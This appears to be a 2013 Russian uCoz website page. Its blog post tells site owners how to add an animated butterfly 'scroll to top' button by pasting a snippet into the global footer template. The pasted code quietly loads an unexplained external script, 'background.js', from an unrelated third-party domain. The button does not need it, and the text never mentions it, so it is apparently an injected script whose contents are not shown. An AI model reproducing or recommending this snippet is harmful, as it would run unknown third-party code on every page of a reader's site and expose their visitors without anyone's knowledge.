Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c
2 : Горизонтальное меню для ucoz
3 : Оповещение о входе и выходе пользователей для uCoz
4 : Кул меню
5 : Заказать Видео!
6 : статистика CW
7 : Новый информер комментарии для ucoz как на Dle
8 : Flash радио для сайта
9 : Голубая кнопка вверх для Ucoz
10 : Новый Топ пользователей с аватарами для Ucoz
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Вы сидите в Соц.сетях?
    Всего ответов: 94
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 532
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 459
    Из них
    Парней: 476
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
    19:48
    Уникальная кнопка Scroll To Top (наверх) для сайта
    О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
    Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
    Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
    Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
    И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

    Установка:
    Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

    Код
    <style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
    .b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
    .b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
    color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
    $(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
    $('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
    });</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
    Просмотров: 177 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Ученик Чародея
    [Фантастика, Приключения]
    Гарри Поттер и Дары смерти: Часть II / Harry Potter and the Deathly Hallows: Part 2
    [Фантастика, Приключения]
    Ёлки (2010)
    [Комедии, Экшн]
    Гарри Поттер и Особая уличная магия
    [Гоблинские переводы]
    Большая разница - Древне-русская реклама
    [Видео, Приколы]
    Зелёный Шершень 3D
    [Фантастика, Приключения]
    Это очень забавная история (2010)
    [Комедии, Экшн]
    Месть пушистых
    [Фильмы, Семейные]
    Люди Икс: Первый класс
    [Фантастика, Приключения]
    РАМШАРИКИ
    [Видео, Приколы]
    Исходный код / Source Code
    [Боевики, Триллер, драки]
    Герой / Hero (2002)
    [Боевики, Триллер, драки]
    Гарри Поттер: Восстание Мышей или Месть Психа из Кегельбана
    [Гоблинские переводы]
    Большая разница - Top Gear
    [Видео, Приколы]
    Железный человек 2(Iron Man 2)
    [Фантастика, Приключения]
    Любовь-морковь 3
    [Комедии, Экшн]
    Город воров / The Town (2010)
    [Боевики, Триллер, драки]
    Рио / Rio (2011)
    [Мультфильмы,Мультсериалы, Анимэ]
    Телохранитель
    [Боевики, Триллер, драки]
    Властелин колец: Возвращение бомжа
    [Гоблинские переводы]
    КВН (Стем)" Иван да Марья" (Утомлённые солнцем)
    [Видео, Приколы]
    Путешествие Гулливера
    [Фантастика, Приключения]
    Неоспоримый 3 / Обсуждению не подлежит 3
    [Боевики, Триллер, драки]
    Большая разница - телемагазин (Водка)
    [Видео, Приколы]
    Сверхновый Супермен / All-Star Superman
    [Мультфильмы,Мультсериалы, Анимэ]
    Шаг вперед 3D(2010)
    [Фильмы, Семейные]
    TRON: Наследие 2010
    [Фантастика, Приключения]
    РЭД (Комедия/Экшн /2010)
    [Комедии, Экшн]
    Другой мир 4: Пробуждение
    [Фантастика, Приключения]
    Красная Шапочка / Red Riding Hood(2011)
    [Ужасы, Мистика]
    Вольт / Bolt (2008) DVDRip
    [Мультфильмы,Мультсериалы, Анимэ]
    Гадкий Я
    [Мультфильмы,Мультсериалы, Анимэ]
    КВН Луна
    [Видео, Приколы]
    Му-му Комбат
    [Видео, Приколы]
    Смотреть Наша Раша 1-4 сезоны
    [Комедии, Экшн]
    Люди-Крестик
    [Гоблинские переводы]
    Россия от края до края
    [Документальные, Наука]
    Инопланетное вторжение: Битва за Лос-Анджелес
    [Фантастика, Приключения]
    Самый лучший фильм 3-ДЭ
    [Комедии, Экшн]
    Край (2010) DVDRip
    [Фантастика, Приключения]
    Храбрые перцем / Your Highness
    [Комедии, Экшн]
    Ледяная дрожь
    [Фантастика, Приключения]
    Мегамозг 3D (Megamind) 2010
    [Мультфильмы,Мультсериалы, Анимэ]
    КВН "Битва умников" (Утомлённые солнцем)
    [Видео, Приколы]
    Теперь ты в армии
    [Видео, Приколы]
    Хроники Нарнии Покоритель зари
    [Фантастика, Приключения]
    Крик 4 / Scream 4
    [Ужасы, Мистика]
    Сеть
    [Сериалы, TV]
    Выкрутасы (2011)
    [Комедии, Экшн]
    Большая разница - 17 мгновений весны в цвете
    [Видео, Приколы]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2017г